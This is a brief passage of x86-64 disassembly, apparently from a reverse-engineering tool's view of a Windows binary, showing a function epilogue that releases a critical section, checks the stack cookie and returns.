call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x60
pop rdi
pop rsi
pop rbx
ret